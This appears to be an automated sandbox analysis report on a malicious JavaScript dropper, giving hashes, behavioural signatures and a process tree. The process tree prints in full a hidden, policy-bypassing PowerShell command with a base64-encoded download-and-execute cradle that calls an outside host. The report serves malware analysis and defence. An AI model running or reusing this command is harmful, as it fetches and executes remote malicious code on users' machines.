Analysis
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max time kernel
151s -
max time network
160s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
07/01/2024, 19:21
Static task
static1
Behavioral task
behavioral1
Sample
a6bcd682ec15292a0a8e3f841ae2bda5.js
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
a6bcd682ec15292a0a8e3f841ae2bda5.js
Resource
win10v2004-20231215-en
General
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Target
a6bcd682ec15292a0a8e3f841ae2bda5.js
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Size
86KB
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MD5
a6bcd682ec15292a0a8e3f841ae2bda5
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SHA1
7f88854a04b4e35a693f7ca2fd1683672d5a829f
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SHA256
961b51cea408027213e56293d99a3bf7778bf95346eeca5cdf7c6f8d7a1f933f
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SHA512
4dd1a22a0aae362d606841ef67bf216234e241d080ef50bc25c21e47b8826f55750ae19971d04682f0096d17e513532c3b43016632df585d4e58fe149a3bea1e
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SSDEEP
1536:59Ry98guHVBqqg2bcruayUHmLKeZaMU7GwbWBPwVGWl9SZ8kV8Gp/5bzIEN4t/oR:59Ry98guHVBqqg2bcruzUHmLKeMMU7GH
Malware Config
Extracted
http://smart-integrator.hr/pornhub.php
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 19 4396 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4396 powershell.exe 4396 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4396 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3792 wrote to memory of 2928 3792 wscript.exe 92 PID 3792 wrote to memory of 2928 3792 wscript.exe 92 PID 2928 wrote to memory of 4396 2928 cmd.exe 94 PID 2928 wrote to memory of 4396 2928 cmd.exe 94
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\a6bcd682ec15292a0a8e3f841ae2bda5.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3792 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA2⤵
- Suspicious use of WriteProcessMemory
PID:2928 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4396
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82